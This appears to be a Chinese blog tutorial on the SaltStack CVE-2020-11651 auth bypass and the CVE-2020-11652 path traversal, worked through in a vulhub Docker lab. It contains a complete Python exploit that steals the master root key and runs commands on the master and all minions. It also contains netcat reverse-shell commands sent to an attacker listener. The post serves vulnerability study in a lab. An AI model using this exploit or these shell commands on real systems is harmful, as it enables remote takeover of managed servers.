Python Saltstack框架CVE-2020-11651和CVE-2020-11652漏洞以及POC详解

最近爆出python saltstack框架CVE-2020-11651 漏洞以及CVE-2020-11652。vulhub漏洞靶场也很快更新了该漏洞的docker环境。网上多数的资料对于漏洞验证和一些细节介绍的并不完全,本文希望能够详细介绍下漏洞原理以及漏洞的POC执行。

CVE-2020-11651:

原理:

CVE-2020-11651的原理是:攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。该原理性的描述可以分为如下几个步骤:

  • 1,构造恶意请求,绕过验证。
  • 2,获取权限之后,在Master上调用一些函数功能。
  • 3,经过步骤2,本地控制端可以执行远程命令漏洞。

vulhub上推荐的POC地址这里,相应的python脚本内容如下:

import os
import sys

import salt
import salt.version
import salt.transport.client
import salt.exceptions
import datetime


def ping_master():
    print("Attempting to ping master at "+master_ip)
    try:
        msg = {"cmd":"ping"}
        response = clear_channel.send(msg, timeout=3)
        if response:
            return True
    except salt.exceptions.SaltReqTimeoutError:
        return False

    return False


def get_rootkey():
    try:
        response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
        for i in response:
            if isinstance(i,dict) and len(i) == 1:
                rootkey = list(i.values())[0]
                print("Retrieved root key: " + rootkey)
                return rootkey

        return False
        
    except:
        return False


def send_command_to_minions(command):
    print("Sending command to all minions on master")
    jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
    cmd = "/bin/sh -c '{0}'".format(command)

    msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}

    try:
        response = clear_channel.send(msg,timeout=3)
        if response == None:
            return True
        else:
            return False
    except:
        return False



def master_shell(root_key,command):
    # This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
    # There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
    # It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
    # This way is nicer though, and doesn't need the master to be running as root .


    msg = {"key":root_key,
            "cmd":"runner",
            'fun': 'salt.cmd',
            "kwarg":{
                "fun":"cmd.exec_code",
                "lang":"python3",
                "code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
                },
            'jid': '20200504042611133934',
            'user': 'sudo_user',
            '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = clear_channel.send(msg,timeout=3)
        print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
        return True
    except:
        print("something failed")
        return False



if __name__=="__main__":
    if len(sys.argv) <= 2:
        print("Not enough args")
        print("Use like python3 cve-2020-11651.py   ")
        sys.exit(1)
    
    
    target = sys.argv[1]
    master_minion_root = sys.argv[2]


    master_ip = target
    master_port = '4506'

    minion_config = {

    'transport': 'zeromq',
    'pki_dir': '/tmp',
    'id': 'root',
    'log_level': 'debug',
    'master_ip': master_ip,
    'master_port': master_port,
    'auth_timeout': 5,
    'auth_tries': 1,
    'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

    if not ping_master():
        print("Failed to ping the specified master server, exiting")
        sys.exit(1)


    if master_minion_root == "master" or master_minion_root == "minions":
        command = sys.argv[3]
        rootkey = get_rootkey()
        if not rootkey:
            print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")
            sys.exit(1)
        else:
            if master_minion_root == "master":
                master_shell(rootkey,command)
            else:
                send_command_to_minions(command)

    elif master_minion_root == "fetchkeyonly":
        get_rootkey()

    else:
        print("Invalid usage")

对上述脚本做如下的说明:

  • 1,ping_master函数检查与master主机的连通性,即ping命令。因为ping是向外暴露的接口,因此此处可以被访问执行(后面的被调用接口同理),详见这里,ClearFuncs类中的expose_methods。
  • 2,get_rootkey函数获取master主机的的key,这是整个漏洞的关键所在。能够获取key的原因在于执行执行salt/master.py中的ClearFuncs:_prep_auth_info方法,该方法并没有做权限校验,可以直接返回key,详见1中链接的_prep_auth_info函数(从此处应该知道对于向外暴露的接口,一定要控制返回的内容)。具体的请求参见get_rootkey函数。报文如下。
  • 3,master_shell函数,该函数将具体的cmd命令发送给master主机。由于在第二步已经得到了key,这个时候master就认为请求是合法的命令,会直接进行执行。在该POC中给master发送的命令是执行一个反弹shell,这样本地控制端就能够直接控制master节点了。(反弹shell就是将master的shell送给本地控制端,这样本地控制端通过shell就可以直接操作master主机了,参见后面的执行部分反弹shell命令)
  • 4,send_command_to_minions函数就是告诉master节点将cmd命令发送给所有的minions节点,POC中的cmd同样是一个反弹shell,这样本地控制端就可以控制所有的minions节点了。

总结上述的漏洞,由于ClearFuncs:_prep_auth_info方法没有做校验,导致key的泄漏,从而导致master节点的权限被本地控制端获取,在Master以及minions上执行反弹shell,从而获取机器的控制权。

执行:

1,假设你已经对于vulhub执行的环境依赖都配置好了,如果没有,参照这里。

2,进入该漏洞目录saltstack/CVE-2020-11651执行如下命令:

docker-compose up -d

可得到如下图的docker环境,即安装了该框架的漏洞环境:
在这里插入图片描述
其中4505,4506即本地控制端与salt框架的通信端口。2222是docker对外暴露的,用于宿主机ssh登录到docker内部的端口。8000是salt API接口。

3,运行官方给出运行该POC的命令为:

./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'

由于是一个python脚本,在下载该脚本之后,执行命令应该如下:

python3 CVE-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'

该命令解释如下:

  • 1,CVE-2020-11651.py 为脚本内容,相关的函数在前面已经介绍过了。
  • 2,192.168.200.135为master节点的IP地址,也就是vulhub中在saltstack文件下执行docker-compose up -d生成的docker所在宿主机的IP地址,也就是vulhub环境所在的IP。
  • 3,master,minions,fetchkeyonly为程序中执行不同的函数判断条件,对应的函数也在前面进行了意义说明。master表示去获取mater主机shell控制权,minions表示获取所有的minions控制权,fetchkeyonly表示获取master的key,但是所有的前提是先获取key。
  • 4,'nc 192.168.200.137 4444 -e “/bin/bash”'为向目的IP发送的命令请求,该命令的作用是像192.168.200.137 地址的4444端口反弹shell,192.168.200.137可以是本地控制端的地址。当然本地控制端要想获取反弹的shell窗口,需要监听该端口,在本地执行nc -vnlp 4444,如下图:
    Python Saltstack框架CVE-2020-11651和CVE-2020-11652漏洞以及POC详解_第1张图片其他两条命令如下:
./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
./cve-2020-11651.py 192.168.200.135 fetchkeyonly

则需要相应的替换成为:

python3 CVE-2020-11651.py 192.168.200.135  minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
python3 CVE-2020-11651.py 192.168.200.135  fetchkeyonly

CVE-2020-11652:

原理:
CVE-2020-11652 是一个目录遍历漏洞,通过构造恶意请求,可以读取、写入服务器上任意文件。详细解释见这里,如下:

The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction.

The get_token() method of the salt.tokens.localfs class (which is exposed to unauthenticated requests by the ClearFuncs class) fails to sanitize the token input parameter which is then used as a filename, allowing insertion of ".." path elements and thus reading of files outside of the intended directory. The only restriction is that the file has to be deserializable by salt.payload.Serial.loads().

该漏洞不同于CVE-2020-11651的地方之处是,CVE-2020-11651是提权漏洞,是远程执行的漏洞,获取权限之后可以操控saltstack。而CVE-2020-11651漏洞是本机执行漏洞,表达在获取master的执行权之后,能够做哪些操作,该漏洞目的是在master机器上的任意目录读写文件。

通常来说本地的控制者来说很难直接让远程的操作系统给你开放所有文件目录的读写权力,但是操作系统往往没有限制其运行的进程操作文件的读写。严格的来说saltstack框架对于文件的读写都是应该约定在一些目录范围内才是正确的,但是由于程序员写的代码约束不够,导致了执行saltstack命令可以读写任意文件。远程的控制者就可以通过跟slatstack进行交互,从而控制整个操作系统的文件读写。

vulhub上推荐的POC地址这里,这个POC做了同样的事情。主要步骤如下:

  • 1,执行check_CVE_2020_11652_read_token,该函数的目的在于get_token()方法无法清除令牌输入参数,该参数随后用作文件名,从而允许插入"…"路径元素和 从而读取预期目录之外的文件。
  • 2,check_CVE_2020_11652_read读文件.
  • 3,check_CVE_2020_11652_write1 check_CVE_2020_11652_write2写于其目录之外的文件

执行:
不同于上一个漏洞的是,该漏洞需要进入docker内部的环境执行,执行本地的操作,如下图:
Python Saltstack框架CVE-2020-11651和CVE-2020-11652漏洞以及POC详解_第2张图片
docker环境中已经有git,python的环境,直接git clone 对应的POC 用例,本地执行即可。有的时候ping会存在问题,多次执行即可

本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。

相关链接:
https://labs.f-secure.com/advisories/saltstack-authorization-bypass
https://github.com/vulhub/vulhub/tree/master/saltstack
https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/salt/wheel/file_roots.py
https://www.jianshu.com/p/9456473a0a14

你可能感兴趣的:(漏洞)